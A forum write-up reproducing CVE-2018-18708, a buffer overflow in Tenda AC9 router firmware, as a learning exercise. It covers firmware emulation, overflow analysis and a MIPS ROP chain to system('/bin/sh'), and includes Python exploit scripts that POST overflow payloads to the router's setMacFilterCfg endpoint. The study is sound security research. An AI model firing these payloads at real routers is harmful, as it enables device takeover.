首页
社区
课程
招聘
[原创]CVE-2018-18708 TENDA缓冲区溢出漏洞
发表于: 2022-8-3 23:31 22544

[原创]CVE-2018-18708 TENDA缓冲区溢出漏洞

2022-8-3 23:31
22544

相比于之前的CVE-2018-5767,这个cve影响的路由器挺多,有arm架构,有mips架构的,本次实验的就是一个mips架构的Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01。

来学习下mips架构下的一些不同之处。

然后后面我也基于这个固件的httpd程序,参考mipsAudit写了一个idapython辅助分析脚本,https://github.com/The-Itach1/Audit

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。

Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01固件下载:https://www.tenda.com.cn/service/download-cata-11.html

binwalk导出固件文件系统,没有加固这些。

查看文件信息,mips,小端序,所以需要使用对应的qemu-mipsel-static来模拟。


同样和之前的tenda路由器设备,都需要patch下,mips的调用函数有点不一样,常规来说是下面这种方式,先la将函数地址给v0,然后给t9,然后在跳转到函数。

所以想patch,直接patch掉jalr这一句就行,然后将v0寄存器赋值为1即可。

建立一个虚拟网桥br0

尝试qemu启动,即可启动。

漏洞点在parse_macfilter_rule函数中的strcpy(a2, v4),这个函数不会引发栈溢出,复制的字符串,实际上在后面的分析中发现是上一个函数的局部变量,从而在上一个函数造成栈溢出。

通过交叉引用我们可以得到这样的函数调用链,我们采用动调的方式,配合静态,依次来分析,并构造出一个测试的poc。

formDefineTendDa->formSetMacFilterCfg->set_macfilter_rules->set_macfilter_rules_by_one->parse_macfilter_rule

formDefineTendDa函数,这是一个包含路由器接口和其对应处理函数的总函数。

先访问下这个接口,"http://192.168.112.131/goform/setMacFilterCfg",抓个包,需要访问两次,第一次好像并没有访问到此接口。

然后查看下返回的包。

返回了个{"errCode":2},我们到formSetMacFilterCfg函数内部,查看setMacFilterCfg接口对应的处理过程,需要注意的是这些地方。

首先我们需要知道websGetVar这个函数,这个函数实际上就是在从前端传过来的表单中获取对应的值。

结合ida动调分析如下。

现在我们知道了为什么会返回{"errCode":2},所以现在的关键点就在于如何让set_macfilter_mode函数返回0,传给这个函数参数为websGetVar获取到macFilterType的具体值。

进入set_macfilter_mode函数内部,发现其对传入的值进行的strcmp比较,从而决定返回的值。

所以必须post传参,"macFilterType": "black",或者white。

然后回到formSetMacFilterCfg,下面还websGetVar了一个"deviceList",然后会进入set_macfilter_rules,参数为macFilterType的值和deviceList的值。

分析set_macfilter_rules函数。

进入set_macfilter_rules_by_one,实际上这个才是会发生溢出的函数,其v4变量会由于parse_macfilter_rule中的strcpy导致溢出而覆盖返回地址。

进入parse_macfilter_rule函数,分析得知,deviceList第一个字节必须是'\r'。

到这里溢出产生原因和具体影响的函数就分析完了,现在主要的就是去找偏移,找偏移的方法很多,可以利用cyclic,可以gdb调试然后去查看栈空间,可以在ida的Stack窗口去查看一个大概的范围。

这里我就直接通过ida来判断一个大概的范围,然后再写exp,去用gdb调试获取真正的偏移。

然后计算一下,偏移大概就是在472或者476的样子,我们编写exp进行测试。

用pwngdb进行调试。

可以看到刚刚好。

漏洞利用首先需要找到libc.so.0的基址,同样和之前的CVE-2018-5767一样,同样vmmap无法使用,但是这里我还是找到了一个比较特殊的方法找到了基址。

我在strcpy处打了个断点,然后发现并没有在相关位置断下来,然后就bt查看调用链,发现了调用了uClibc_main,根据ida的交叉引用也可以直接到相应位置,这个位置感觉相当于mips程序的start函数。

然后用ida载入libc.so.0,去exports查看对应的函数地址,发现在0x0005F804,当然也可以用readelf -s ./lib/libc.so.0 | grep
uClibc_main。

然后我以为两个地址相减就可以得到libc基址的时候,0x7f583a08-0x0005F804=0x7F524204,实际上明显可以看出不对,一般基址后面几个数会是0。

抱着试一试的想法去看看能不能跳到system,编写exp如下。

在溢出最后的跳转处,0x04E8204打断点,运行exp,断下来。

可以看到运气较好的是,我们仍然在libc中,但是不知道具体位置,这时候我们可以用ida的字符串搜索功能,去尝试搜索到对应的位置。

这里我是alt+t搜索addiu $sp, 0x30,当然搜索syscall也行。并且再次根据后两个字节4c过滤了大量结果。

成功找到对应偏移位置,0x0006054C,由于关了aslr,所以基址不变,得到libc_base=0x7f58454c - 0x0006054C = 0x7F524000

测试下能不能到system。

对于mips下rop链的构造,经常使用到的是move $a0 $s0,我们使用mipsrop去查找一些可用的。

先下载mipsrop插件,随便都可以百度到,然后使用。

7.5版本以上的ida先执行下面的语句。

然后mipsrop.find("move $a0 $s0"),可用的很多,这里我就直接选择第一个,这个就作为gadget2。

当然我们还需要给里面的寄存器赋值,将$s0赋值为"/bin/sh"的地址,将$s1赋值为system的地址,这样就可以达到执行system("/bin/sh")的目的。

实际上我们之前得到错误的system的地址的那些代码就可以作为给寄存器赋值的语句,并且可以跳转到gadget2。

00060530+base就作为gadget1。

我们根据上面的代码,根据栈偏移,控制对$ra,$s1,$s0的赋值,最终rop链为

用上面的exp打一下,会报错。

这里爆了个访问错误,$v0应该是个地址,但是变成了我们的0x41414141。

通过我们之前验证是否能到system函数可知,只覆盖返回地址是可以的,虽然会把上一级函数fp给覆盖掉,但是我们也不需要返回到上一级函数了。

使用ida调试,最终发现会在set_macfilter_rules_by_one函数中snprintf函数报错。

为了区别我用下面的exp打一下。

ida远程调试。

第一个注意的点就是传给set_macfilter_rules_by_one的3个参数在进入set_macfilter_rules_by_one函数后保存的位置,主要关注第一个参数,也就是macFilterType值的地址。

而恰好,set_macfilter_rules_by_one在执行完parse_macfilter_rule函数,发生了溢出后,后面的snprintf函数调用了a1,也就是第一个参数,且a1是一个地址,但是按照我们playload覆盖后a1将变为一个值,所以会照成访问异常。

执行到snprintf。

解决这个错误也很简单,将b"bbbb",修改为一可访问地址值就行,而且snprintf也限制了长度,不用担心溢出这些。

exp

ida或者gdb调都行。

gadget1

gadget2

getshell

这次复现,感觉对mips架构的一些指令以及函数调用更加清晰了,而且也学会了mips中如何构建简单的rop链。

https://www.anquanke.com/post/id/254426#h3-5

 
 
 
binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin
binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin
readelf -h ./bin/httpd
readelf -h ./bin/httpd
la      $v0, websGetVar
move    $t9, $v0
jalr    $t9 ; websGetVar
la      $v0, websGetVar
move    $t9, $v0
jalr    $t9 ; websGetVar
 
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
cp $(which qemu-mipsel-static) .
 
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
cp $(which qemu-mipsel-static) .
 
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
 
 
 
 
Var = (const char *)websGetVar(a1, "macFilterType", &unk_52346C);
v2 = set_macfilter_mode(Var);
 
...
...
reload_macfilter_rules_to_wireless(Var);
Var = (const char *)websGetVar(a1, "macFilterType", &unk_52346C);
v2 = set_macfilter_mode(Var);
 
...
...
reload_macfilter_rules_to_wireless(Var);
 
 
 
 
 
 
import requests
from pwn import *
 
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
data = {"macFilterType": "black", "deviceList":"\r" +  "A" * 472 + "bbbb"}
 
requests.post(url, cookies=cookie, data=data)
import requests
from pwn import *
 
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
data = {"macFilterType": "black", "deviceList":"\r" +  "A" * 472 + "bbbb"}
 
requests.post(url, cookies=cookie, data=data)
 
 
 
import requests
from pwn import *
 
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
 
libc_base=0x7f583a08-0x0005F804
system=0x0060320
 
system_addr=libc_base+system
 
data = {"macFilterType": "black", "deviceList":b"\r" +  b"A" * 472 + p32(system_addr)}
 
requests.post(url, cookies=cookie, data=data)
import requests
from pwn import *
 
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
 
libc_base=0x7f583a08-0x0005F804
system=0x0060320

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 4
支持
分享
打赏 + 100.00雪花
打赏次数 1 雪花 + 100.00
 
赞赏  Editor   +100.00 2022/08/15 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (1)
雪    币: 220
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
史诗级大佬 请收下我的膝盖
2022-8-5 06:11
0
游客
登录 | 注册 方可回帖
返回
//